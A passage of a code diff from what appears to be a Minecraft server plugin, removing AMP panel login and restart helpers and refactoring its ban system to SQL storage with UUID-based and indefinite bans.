String body = String.format(AMPEndpoints.LOGIN.getParameters(), username, password);
try
{
LoginResult resp = new Gson().fromJson(postRequestToEndpoint(apiEndpoint, body), LoginResult.class);
if (!resp.getSuccess())
{
FLog.severe("AMP login unsuccessful. Check if login details are correct.");
sessionID = "";
callback.loginDone(false);
return;
}
sessionID = resp.getSessionID();
callback.loginDone(true);
}
catch (IOException ex)
{
FLog.severe("Could not login to AMP. Check if URL is correct. Stacktrace: " + ex.getMessage());
sessionID = "";
callback.loginDone(false);
}
}
}.runTaskAsynchronously(plugin);
}
public void restartAsync()
{
new BukkitRunnable()
{
@Override
public void run()
{
final String apiEndpoint = url + AMPEndpoints.RESTART.toString();
final String body = String.format(AMPEndpoints.RESTART.getParameters(), sessionID);
try
{
String resp = postRequestToEndpoint(apiEndpoint, body);
if (resp.contains("Unauthorized Access"))
{
//try connecting one more time
LoginCallback callback = new LoginCallback()
{
@Override
public void loginDone(boolean success)
{
if (!success)
{
FLog.severe("Failed to connect to AMP. Did the panel go down? Were panel user details changed/deleted? Check for more info above. Connection was successful when plugin started, but unsuccessful now." +
" Using server.shutdown() instead.");
plugin.getServer().shutdown();
return;
}
try
{
String response = postRequestToEndpoint(apiEndpoint, body);
if (response.contains("Unauthorized Access"))
{
FLog.severe("Contact a developer. Panel gives Session ID but trying to use it gives a no perms error. The panel user set in config doesn't" +
" have perms to restart server. Using server.shutdown() instead. ");
plugin.getServer().shutdown();
}
}
catch (IOException e)
{
FLog.severe("Could not restart. Using server.shutdown() instead. Stacktrace" + e.getMessage());
plugin.getServer().shutdown();
}
}
};
plugin.amp.ampManager.connectAsync(callback);
}
}
catch (IOException ex)
{
FLog.severe("Could not restart. Using server.shutdown() instead. Stacktrace: " + ex.getMessage());
plugin.getServer().shutdown();
}
}
}.runTaskAsynchronously(plugin);
}
private String postRequestToEndpoint(String endpoint, String body) throws IOException
{
URL url = new URL(endpoint);
if (endpoint.startsWith("https://"))
{
HttpsURLConnection connection = (HttpsURLConnection)url.openConnection();
connection.setRequestMethod("POST");
connection.setRequestProperty("Accept", "application/json");
connection.setDoOutput(true);
DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
outputStream.writeBytes(body);
outputStream.flush();
outputStream.close();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null)
{
response.append(inputLine);
}
in.close();
return response.toString();
}
else
{
HttpURLConnection connection = (HttpURLConnection)url.openConnection();
connection.setRequestMethod("POST");
connection.setRequestProperty("Accept", "application/json");
connection.setDoOutput(true);
DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
outputStream.writeBytes(body);
outputStream.flush();
outputStream.close();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null)
{
response.append(inputLine);
}
in.close();
return response.toString();
}
}
}

View File

@ -1,6 +0,0 @@
package me.totalfreedom.totalfreedommod.amp;
public interface LoginCallback
{
void loginDone(boolean success);
}

View File

@ -1,49 +0,0 @@
package me.totalfreedom.totalfreedommod.amp;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
import java.util.List;
import lombok.Getter;
import lombok.Setter;
public class LoginResult
{
@SerializedName("result")
@Expose
@Getter
@Setter
private Integer result;
@SerializedName("success")
@Expose
@Getter
@Setter
private Boolean success;
@SerializedName("permissions")
@Expose
@Getter
@Setter
private List<String> permissions = null;
@SerializedName("sessionID")
@Expose
@Getter
@Setter
private String sessionID;
@SerializedName("rememberMeToken")
@Expose
@Getter
@Setter
private String rememberMeToken;
@SerializedName("gravatarHash")
@Expose
@Getter
@Setter
private String gravatarHash;
@SerializedName("username")
@Expose
@Getter
@Setter
private String username;
private final static long serialVersionUID = -523050232433919883L;
}

View File

@ -1,78 +1,69 @@
package me.totalfreedom.totalfreedommod.banning; package me.totalfreedom.totalfreedommod.banning;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import java.text.DateFormat;
import java.text.SimpleDateFormat; import java.text.SimpleDateFormat;
import java.time.Instant; import java.time.Instant;
import java.util.Arrays; import java.util.ArrayList;
import java.util.Collections;
import java.util.Date; import java.util.Date;
import java.util.HashSet; import java.util.HashSet;
import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import lombok.Getter; import java.util.UUID;
import lombok.Setter;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.base.ConfigLoadable;
import net.pravian.aero.base.ConfigSavable;
import net.pravian.aero.base.Validatable;
import net.pravian.aero.util.Ips;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
public class Ban implements ConfigLoadable, ConfigSavable, Validatable public class Ban
{ {
public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd \'at\' HH:mm:ss z"); public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd 'at' HH:mm:ss z");
@Getter
@Setter
private String username = null;
@Getter
private final List<String> ips = Lists.newArrayList(); private final List<String> ips = Lists.newArrayList();
@Getter private String username = null;
@Setter private UUID uuid = null;
private String by = null; private String by = null;
@Getter
@Setter
private Date at = null; private Date at = null;
@Getter
@Setter
private String reason = null; // Unformatted, &[0-9,a-f] instead of ChatColor private String reason = null; // Unformatted, &[0-9,a-f] instead of ChatColor
@Getter
@Setter
private long expiryUnix = -1; private long expiryUnix = -1;
public Ban() public Ban()
{ {
} }
public Ban(String username, String ip, String by, Date at, Date expire, String reason) public Ban(String username, UUID uuid, String ip, String by, Date at, Date expire, String reason)
{ {
this(username, this(username,
new String[] uuid,
{ Collections.singletonList(ip),
ip
},
by, by,
at, at,
expire, expire,
reason); reason);
} }
public Ban(String username, String[] ips, String by, Date at, Date expire, String reason) public Ban(String username, UUID uuid, List<String> ips, String by, Date at, Date expire, String reason)
{ {
this.username = username; this.username = username;
this.uuid = uuid;
if (ips != null) if (ips != null)
{ {
this.ips.addAll(Arrays.asList(ips)); this.ips.addAll(ips);
} }
dedupeIps(); dedupeIps();
this.by = by; this.by = by;
this.at = at; this.at = at;
if (expire == null)
{
expire = FUtil.parseDateOffset("24h");
}
this.expiryUnix = FUtil.getUnixTime(expire); this.expiryUnix = FUtil.getUnixTime(expire);
this.reason = reason; this.reason = reason;
} }
@ -86,15 +77,12 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
public static Ban forPlayerIp(Player player, CommandSender by, Date expiry, String reason) public static Ban forPlayerIp(Player player, CommandSender by, Date expiry, String reason)
{ {
return new Ban(null, new String[] return new Ban(null, null, Collections.singletonList(FUtil.getIp(player)), by.getName(), Date.from(Instant.now()), expiry, reason);
{
Ips.getIp(player)
}, by.getName(), Date.from(Instant.now()), expiry, reason);
} }
public static Ban forPlayerIp(String ip, CommandSender by, Date expiry, String reason) public static Ban forPlayerIp(String ip, CommandSender by, Date expiry, String reason)
{ {
return new Ban(null, ip, by.getName(), Date.from(Instant.now()), expiry, reason); return new Ban(null, null, ip, by.getName(), Date.from(Instant.now()), expiry, reason);
} }
// //
@ -107,7 +95,8 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
public static Ban forPlayerName(String player, CommandSender by, Date expiry, String reason) public static Ban forPlayerName(String player, CommandSender by, Date expiry, String reason)
{ {
return new Ban(player, return new Ban(player,
(String[])null, null,
new ArrayList<>(),
by.getName(), by.getName(),
Date.from(Instant.now()), Date.from(Instant.now()),
expiry, expiry,
@ -124,7 +113,8 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
public static Ban forPlayer(Player player, CommandSender by, Date expiry, String reason) public static Ban forPlayer(Player player, CommandSender by, Date expiry, String reason)
{ {
return new Ban(player.getName(), return new Ban(player.getName(),
Ips.getIp(player), player.getUniqueId(),
FUtil.getIp(player),
by.getName(), by.getName(),
Date.from(Instant.now()), Date.from(Instant.now()),
expiry, expiry,
@ -134,18 +124,29 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
public static Ban forPlayerFuzzy(Player player, CommandSender by, Date expiry, String reason) public static Ban forPlayerFuzzy(Player player, CommandSender by, Date expiry, String reason)
{ {
return new Ban(player.getName(), return new Ban(player.getName(),
FUtil.getFuzzyIp(Ips.getIp(player)), player.getUniqueId(),
FUtil.getFuzzyIp(FUtil.getIp(player)),
by.getName(), by.getName(),
Date.from(Instant.now()), Date.from(Instant.now()),
expiry, expiry,
reason); reason);
} }
public static SimpleDateFormat getDateFormat()
{
return DATE_FORMAT;
}
public boolean hasUsername() public boolean hasUsername()
{ {
return username != null && !username.isEmpty(); return username != null && !username.isEmpty();
} }
public boolean hasUUID()
{
return uuid != null;
}
public boolean addIp(String ip) public boolean addIp(String ip)
{ {
return ips.add(ip); return ips.add(ip);
@ -168,14 +169,27 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
public boolean isExpired() public boolean isExpired()
{ {
return hasExpiry() && expiryUnix < FUtil.getUnixTime(); return hasExpiry() && FUtil.getUnixDate(expiryUnix).before(new Date(FUtil.getUnixTime()));
} }
public String bakeKickMessage(String ip) public String bakeKickMessage()
{ {
final StringBuilder message = new StringBuilder(ChatColor.GOLD + "You"); final StringBuilder message = new StringBuilder(ChatColor.GOLD + "You");
message.append(!hasUsername() ? "r IP address is" : " are").append(" temporarily banned from this server."); if (!hasUsername())
{
message.append("r IP address is");
}
else if (!hasIps())
{
message.append("r username is");
}
else
{
message.append(" are");
}
message.append(" temporarily banned from this server.");
message.append("\nAppeal at ").append(ChatColor.BLUE) message.append("\nAppeal at ").append(ChatColor.BLUE)
.append(ConfigEntry.SERVER_BAN_URL.getString()); .append(ConfigEntry.SERVER_BAN_URL.getString());
@ -203,9 +217,6 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
.append(DATE_FORMAT.format(FUtil.getUnixDate(expiryUnix))); .append(DATE_FORMAT.format(FUtil.getUnixDate(expiryUnix)));
} }
message.append("\n").append(ChatColor.RED).append("IP Address: ").append(ChatColor.GOLD)
.append(ip);
return message.toString(); return message.toString();
} }
@ -237,59 +248,76 @@ public class Ban implements ConfigLoadable, ConfigSavable, Validatable
return !(hasUsername() && !(getUsername().equalsIgnoreCase(ban.getUsername()))); return !(hasUsername() && !(getUsername().equalsIgnoreCase(ban.getUsername())));
} }
@Override
public int hashCode()
{
int hash = 7;
hash = 79 * hash + (this.username != null ? this.username.toLowerCase().hashCode() : 0);
hash = 79 * hash + (this.ips != null ? this.ips.hashCode() : 0);
return hash;
}
@Override
public void loadFrom(ConfigurationSection cs)
{
this.username = cs.getString("username", null);
this.ips.clear();
this.ips.addAll(cs.getStringList("ips"));
this.by = cs.getString("by", null);
this.at = FUtil.stringToDate(cs.getString("at", null));
this.reason = cs.getString("reason", null);
this.expiryUnix = cs.getLong("expiry_unix", 0);
dedupeIps();
}
@Override
public void saveTo(ConfigurationSection cs)
{
dedupeIps();
cs.set("username", username);
cs.set("ips", ips.isEmpty() ? null : ips);
cs.set("by", by);
cs.set("at", FUtil.dateToString(at));
cs.set("reason", reason);
cs.set("expiry_unix", expiryUnix > 0 ? expiryUnix : null);
}
@Override
public boolean isValid()
{
return username != null || !ips.isEmpty();
}
private void dedupeIps() private void dedupeIps()
{ {
Set<String> uniqueIps = new HashSet<>(); Set<String> uniqueIps = new HashSet<>();
Iterator<String> it = ips.iterator(); //Fancy Collections.removeIf lets you do all that while loop work in one lambda.
while (it.hasNext()) ips.removeIf(s -> !uniqueIps.add(s));
{
if (!uniqueIps.add(it.next()))
{
it.remove();
}
}
} }
}
public List<String> getIps()
{
return ips;
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public UUID getUuid()
{
return uuid;
}
public void setUuid(UUID uuid)
{
this.uuid = uuid;
}
public String getBy()
{
return by;
}
public void setBy(String by)
{
this.by = by;
}
public Date getAt()
{
return at;
}
public void setAt(Date at)
{
this.at = at;
}
public String getReason()
{
return reason;
}
public void setReason(String reason)
{
this.reason = reason;
}
public long getExpiryUnix()
{
return expiryUnix;
}
public void setExpiryUnix(long expiryUnix)
{
this.expiryUnix = expiryUnix;
}
}

View File

@ -3,20 +3,20 @@ package me.totalfreedom.totalfreedommod.banning;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import com.google.common.collect.Maps; import com.google.common.collect.Maps;
import com.google.common.collect.Sets; import com.google.common.collect.Sets;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection; import java.util.Collection;
import java.util.Collections; import java.util.Collections;
import java.util.Iterator; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.UUID;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.PlayerData;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.config.YamlConfig;
import net.pravian.aero.util.Ips;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
@ -27,44 +27,43 @@ public class BanManager extends FreedomService
{ {
private final Set<Ban> bans = Sets.newHashSet(); private final Set<Ban> bans = Sets.newHashSet();
private final Map<String, Ban> ipBans = Maps.newHashMap();
private final Map<String, Ban> nameBans = Maps.newHashMap(); private final Map<String, Ban> nameBans = Maps.newHashMap();
private final Map<UUID, Ban> uuidBans = Maps.newHashMap();
private final Map<String, Ban> ipBans = Maps.newHashMap();
private final List<String> unbannableUsernames = Lists.newArrayList(); private final List<String> unbannableUsernames = Lists.newArrayList();
public static final String CONFIG_FILENAME = "bans.yml";
// //
private final YamlConfig config;
public BanManager(TotalFreedomMod plugin)
{
super(plugin);
this.config = new YamlConfig(plugin, "bans.yml");
}
@Override @Override
protected void onStart() public void onStart()
{ {
config.load();
bans.clear(); bans.clear();
for (String id : config.getKeys(false)) try
{ {
if (!config.isConfigurationSection(id)) ResultSet banSet = plugin.sql.getBanList();
{ {
FLog.warning("Could not load username ban: " + id + ". Invalid format!"); while (banSet.next())
continue; {
String name = banSet.getString("name");
UUID uuid = null;
String strUUID = banSet.getString("uuid");
if (strUUID != null)
{
uuid = UUID.fromString(strUUID);
}
List<String> ips = FUtil.stringToList(banSet.getString("ips"));
String by = banSet.getString("by");
Date at = new Date(banSet.getLong("at"));
Date expires = new Date(banSet.getLong("expires"));
String reason = banSet.getString("reason");
Ban ban = new Ban(name, uuid, ips, by, at, expires, reason);
bans.add(ban);
}
} }
}
Ban ban = new Ban(); catch (SQLException e)
ban.loadFrom(config.getConfigurationSection(id)); {
FLog.severe("Failed to load ban list: " + e.getMessage());
if (!ban.isValid())
{
FLog.warning("Not adding username ban: " + id + ". Missing information.");
continue;
}
bans.add(ban);
} }
// Remove expired bans, repopulate ipBans and nameBans, // Remove expired bans, repopulate ipBans and nameBans,
@ -74,15 +73,13 @@ public class BanManager extends FreedomService
// Load unbannable usernames // Load unbannable usernames
unbannableUsernames.clear(); unbannableUsernames.clear();
unbannableUsernames.addAll((Collection<? extends String>)ConfigEntry.FAMOUS_PLAYERS.getList()); unbannableUsernames.addAll(ConfigEntry.FAMOUS_PLAYERS.getStringList());
FLog.info("Loaded " + unbannableUsernames.size() + " unbannable usernames."); FLog.info("Loaded " + unbannableUsernames.size() + " unbannable usernames.");
} }
@Override @Override
protected void onStop() public void onStop()
{ {
saveAll();
logger.info("Saved " + bans.size() + " player bans");
} }
public Set<Ban> getAllBans() public Set<Ban> getAllBans()
@ -100,21 +97,6 @@ public class BanManager extends FreedomService
return Collections.unmodifiableCollection(nameBans.values()); return Collections.unmodifiableCollection(nameBans.values());
} }
public void saveAll()
{
// Remove expired
updateViews();
config.clear();
for (Ban ban : bans)
{
ban.saveTo(config.createSection(String.valueOf(ban.hashCode())));
}
// Save config
config.save();
}
public Ban getByIp(String ip) public Ban getByIp(String ip)
{ {
final Ban directBan = ipBans.get(ip); final Ban directBan = ipBans.get(ip);
@ -138,7 +120,7 @@ public class BanManager extends FreedomService
continue; continue;
} }
if (Ips.fuzzyIpMatch(ip, loopIp, 4)) if (FUtil.fuzzyIpMatch(ip, loopIp, 4))
{ {
return loopBan; return loopBan;
} }
@ -161,6 +143,18 @@ public class BanManager extends FreedomService
return null; return null;
} }
public Ban getByUUID(UUID uuid)
{
final Ban directBan = uuidBans.get(uuid);
if (directBan != null && !directBan.isExpired())
{
return directBan;
}
return null;
}
public Ban unbanIp(String ip) public Ban unbanIp(String ip)
{ {
final Ban ban = getByIp(ip); final Ban ban = getByIp(ip);
@ -168,7 +162,6 @@ public class BanManager extends FreedomService
if (ban != null) if (ban != null)
{ {
bans.remove(ban); bans.remove(ban);
saveAll();
} }
return ban; return ban;
@ -181,7 +174,6 @@ public class BanManager extends FreedomService
if (ban != null) if (ban != null)
{ {
bans.remove(ban); bans.remove(ban);
saveAll();
} }
return ban; return ban;
@ -197,64 +189,81 @@ public class BanManager extends FreedomService
return getByUsername(username) != null; return getByUsername(username) != null;
} }
public boolean addBan(Ban ban) public void addBan(Ban ban)
{ {
if (bans.add(ban)) if (ban.getUsername() != null && getByUsername(ban.getUsername()) != null)
{ {
saveAll(); removeBan(ban);
return true; }
else
{
for (String ip : ban.getIps())
{
if (getByIp(ip) != null)
{
removeBan(ban);
break;
}
}
}
if (bans.add(ban))
{
plugin.sql.addBan(ban);
updateViews();
} }
return false;
} }
public boolean removeBan(Ban ban) public void removeBan(Ban ban)
{ {
if (bans.remove(ban)) if (bans.remove(ban))
{ {
saveAll(); plugin.sql.removeBan(ban);
return true; updateViews();
} }
return false;
} }
public int purge() public int purge()
{ {
config.clear();
config.save();
int size = bans.size(); int size = bans.size();
bans.clear(); bans.clear();
updateViews(); updateViews();
plugin.sql.truncate("bans");
return size; return size;
} }
@EventHandler(priority = EventPriority.LOW) @EventHandler(priority = EventPriority.NORMAL)
public void onPlayerLogin(PlayerLoginEvent event) public void onPlayerLogin(PlayerLoginEvent event)
{ {
final String username = event.getPlayer().getName(); final String username = event.getPlayer().getName();
final String ip = Ips.getIp(event); final UUID uuid = event.getPlayer().getUniqueId();
final String ip = FUtil.getIp(event);
// Regular ban // Regular ban
Ban ban = getByUsername(username); Ban ban = getByUsername(username);
if (ban == null) if (ban == null)
{ {
ban = getByIp(ip); ban = getByUUID(uuid);
if (ban == null)
{
ban = getByIp(ip);
}
} }
if (ban != null && !ban.isExpired()) if (ban != null && !ban.isExpired())
{ {
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, ban.bakeKickMessage(ip)); event.disallow(PlayerLoginEvent.Result.KICK_OTHER, ban.bakeKickMessage());
} }
} }
@EventHandler(priority = EventPriority.LOW) @EventHandler(priority = EventPriority.NORMAL)
public void onPlayerJoin(PlayerJoinEvent event) public void onPlayerJoin(PlayerJoinEvent event)
{ {
final Player player = event.getPlayer(); final Player player = event.getPlayer();
final PlayerData data = plugin.pl.getData(player);
if (!plugin.al.isAdmin(player)) if (!plugin.al.isAdmin(player))
{ {
@ -262,28 +271,35 @@ public class BanManager extends FreedomService
} }
// Unban admins // Unban admins
for (String storedIp : data.getIps()) Ban ban = getByUsername(player.getName());
if (ban != null)
{ {
unbanIp(storedIp); removeBan(ban);
unbanIp(FUtil.getFuzzyIp(storedIp)); }
else
{
ban = getByIp(FUtil.getIp(player));
if (ban != null)
{
removeBan(ban);
}
} }
unbanUsername(player.getName());
player.setOp(true);
} }
private void updateViews() private void updateViews()
{ {
// Remove expired bans // Remove expired bans
for (Iterator<Ban> it = bans.iterator(); it.hasNext(); ) for (Ban ban : new ArrayList<>(bans))
{ {
if (it.next().isExpired()) if (ban.isExpired())
{ {
it.remove(); bans.remove(ban);
plugin.sql.removeBan(ban);
} }
} }
nameBans.clear(); nameBans.clear();
uuidBans.clear();
ipBans.clear(); ipBans.clear();
for (Ban ban : bans) for (Ban ban : bans)
{ {
@ -292,6 +308,11 @@ public class BanManager extends FreedomService
nameBans.put(ban.getUsername().toLowerCase(), ban); nameBans.put(ban.getUsername().toLowerCase(), ban);
} }
if (ban.hasUUID())
{
uuidBans.put(ban.getUuid(), ban);
}
if (ban.hasIps()) if (ban.hasIps())
{ {
for (String ip : ban.getIps()) for (String ip : ban.getIps())
@ -301,5 +322,4 @@ public class BanManager extends FreedomService
} }
} }
} }
}
}

View File

@ -0,0 +1,89 @@
package me.totalfreedom.totalfreedommod.banning;
import com.google.common.collect.Lists;
import java.util.List;
import java.util.UUID;
import me.totalfreedom.totalfreedommod.config.IConfig;
import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.configuration.ConfigurationSection;
public class IndefiniteBan implements IConfig
{
private final List<String> ips = Lists.newArrayList();
private String username = null;
private UUID uuid = null;
private String reason = null;
public IndefiniteBan()
{
}
@Override
public void loadFrom(ConfigurationSection cs)
{
this.username = cs.getName();
try
{
String strUUID = cs.getString("uuid", null);
if (strUUID != null)
{
UUID uuid = UUID.fromString(strUUID);
this.uuid = uuid;
}
}
catch (IllegalArgumentException e)
{
FLog.warning("Failed to load indefinite banned UUID for " + this.username + ". Make sure the UUID is in the correct format with dashes.");
}
this.ips.clear();
this.ips.addAll(cs.getStringList("ips"));
this.reason = cs.getString("reason", null);
}
@Override
public void saveTo(ConfigurationSection cs)
{
// The indefinite ban list is only intended to be modified manually. It is not intended to save.
}
@Override
public boolean isValid()
{
return username != null;
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public UUID getUuid()
{
return uuid;
}
public void setUuid(UUID uuid)
{
this.uuid = uuid;
}
public List<String> getIps()
{
return ips;
}
public String getReason()
{
return reason;
}
public void setReason(String reason)
{
this.reason = reason;
}
}

View File

@ -0,0 +1,165 @@
package me.totalfreedom.totalfreedommod.banning;
import com.google.common.base.Strings;
import com.google.common.collect.Sets;
import java.util.Set;
import java.util.UUID;
import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.config.YamlConfig;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerLoginEvent;
public class IndefiniteBanList extends FreedomService
{
public static final String CONFIG_FILENAME = "indefinitebans.yml";
private final Set<IndefiniteBan> indefBans = Sets.newHashSet();
private int nameBanCount = 0;
private int uuidBanCount = 0;
private int ipBanCount = 0;
public static String getConfigFilename()
{
return CONFIG_FILENAME;
}
@Override
public void onStart()
{
indefBans.clear();
final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
config.load();
for (String name : config.getKeys(false))
{
if (!config.isConfigurationSection(name))
{
FLog.warning("Could not load indefinite ban for " + name + ": Invalid format!");
continue;
}
IndefiniteBan indefBan = new IndefiniteBan();
ConfigurationSection cs = config.getConfigurationSection(name);
assert cs != null;
indefBan.loadFrom(cs);
if (!indefBan.isValid())
{
FLog.warning("Not adding indefinite ban for " + name + ": Missing information.");
continue;
}
indefBans.add(indefBan);
}
updateCount();
FLog.info("Loaded " + nameBanCount + " indefinite name bans, " + uuidBanCount + " UUID bans, and " + ipBanCount + " ip bans");
}
@Override
public void onStop()
{
}
@EventHandler(priority = EventPriority.LOWEST)
public void onPlayerLogin(PlayerLoginEvent event)
{
final String username = event.getPlayer().getName();
final UUID uuid = event.getPlayer().getUniqueId();
final String ip = FUtil.getIp(event);
String bannedBy = "";
IndefiniteBan ban = null;
for (IndefiniteBan indefBan : indefBans)
{
if (username.equalsIgnoreCase(indefBan.getUsername()))
{
bannedBy = "username";
ban = indefBan;
break;
}
else if (indefBan.getUuid() != null && indefBan.getUuid().equals(uuid))
{
bannedBy = "UUID";
ban = indefBan;
break;
}
else if (indefBan.getIps().contains(ip))
{
bannedBy = "IP address";
ban = indefBan;
break;
}
}
if (ban != null)
{
String kickMessage = ChatColor.RED + "Your " + bannedBy + " is indefinitely banned from this server.";
String reason = ban.getReason();
if (!Strings.isNullOrEmpty(reason))
{
kickMessage += "\nReason: " + ChatColor.GOLD + reason;
}
String appealURL = ConfigEntry.SERVER_INDEFBAN_URL.getString();
if (!Strings.isNullOrEmpty(appealURL))
{
kickMessage += ChatColor.RED + "\n\nRelease procedures are available at\n" + ChatColor.GOLD + ConfigEntry.SERVER_INDEFBAN_URL.getString();
}
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, kickMessage);
}
}
private void updateCount()
{
nameBanCount = 0;
uuidBanCount = 0;
ipBanCount = 0;
for (IndefiniteBan indefBan : indefBans)
{
nameBanCount += 1;
if (indefBan.getUuid() != null)
{
uuidBanCount += 1;
}
ipBanCount += indefBan.getIps().size();
}
}
public Set<IndefiniteBan> getIndefBans()
{
return indefBans;
}
public int getNameBanCount()
{
return nameBanCount;
}
public int getUuidBanCount()
{
return uuidBanCount;
}
public int getIpBanCount()
{
return ipBanCount;
}
}

View File

@ -1,99 +0,0 @@
package me.totalfreedom.totalfreedommod.banning;
import com.google.common.collect.Sets;
import java.util.Set;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.config.YamlConfig;
import net.pravian.aero.util.Ips;
import org.bukkit.ChatColor;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerLoginEvent;
public class PermbanList extends FreedomService
{
public static final String CONFIG_FILENAME = "permbans.yml";
@Getter
private final Set<String> permbannedNames = Sets.newHashSet();
@Getter
private final Set<String> permbannedIps = Sets.newHashSet();
public PermbanList(TotalFreedomMod plugin)
{
super(plugin);
}
@Override
protected void onStart()
{
permbannedNames.clear();
permbannedIps.clear();
final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
config.load();
for (String name : config.getKeys(false))
{
permbannedNames.add(name.toLowerCase().trim());
permbannedIps.addAll(config.getStringList(name));
}
FLog.info("Loaded " + permbannedIps.size() + " perm IP bans and " + permbannedNames.size() + " perm username bans.");
}
@Override
protected void onStop()
{
}
@EventHandler(priority = EventPriority.LOWEST)
public void onPlayerLogin(PlayerLoginEvent event)
{
final String username = event.getPlayer().getName();
final String ip = Ips.getIp(event);
// Permbanned IPs
for (String testIp : getPermbannedIps())
{
if (FUtil.fuzzyIpMatch(testIp, ip, 4))
{
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
ChatColor.RED + "Your IP address is permanently banned from this server.\n"
+ "Release procedures are available at\n"
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
return;
}
}
// Permbanned usernames
for (String testPlayer : getPermbannedNames())
{
if (testPlayer.equalsIgnoreCase(username))
{
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
ChatColor.RED + "Your username is permanently banned from this server.\n"
+ "Release procedures are available at\n"
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
return;
}
}
}
public Set<String> getPermbannedNames()
{
return this.permbannedNames;
}
public Set<String> getPermbannedIps()
{
return this.permbannedIps;
}
}

View File

@ -1,76 +0,0 @@
package me.totalfreedom.totalfreedommod.banning;
import com.google.common.collect.Sets;
import java.util.Set;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.config.YamlConfig;
import net.pravian.aero.util.Ips;
import org.bukkit.ChatColor;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerLoginEvent;
public class VPNBanList extends FreedomService
{
public static final String CONFIG_FILENAME = "vpnbans.yml";
@Getter
private final Set<String> vpnIps = Sets.newHashSet();
public VPNBanList(TotalFreedomMod plugin)
{
super(plugin);
}
@Override
protected void onStart()
{
vpnIps.clear();
final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
config.load();
for (String name : config.getKeys(false))
{
vpnIps.addAll(config.getStringList(name));
}
FLog.info("Loaded " + vpnIps.size() + " VPN ips.");
}
@Override
protected void onStop()
{
}
@EventHandler(priority = EventPriority.LOWEST)
public void onPlayerLogin(PlayerLoginEvent event)
{
final String ip = Ips.getIp(event);
// Permbanned IPs
for (String testIp : getVPNIps())
{
if (FUtil.fuzzyIpMatch(testIp, ip, 4))
{
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
ChatColor.RED + "Your IP address is detected as a VPN\n"
+ "If you believe this is an error, release procedures are available at\n"
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
return;
}
}
}
public Set<String> getVPNIps()
{
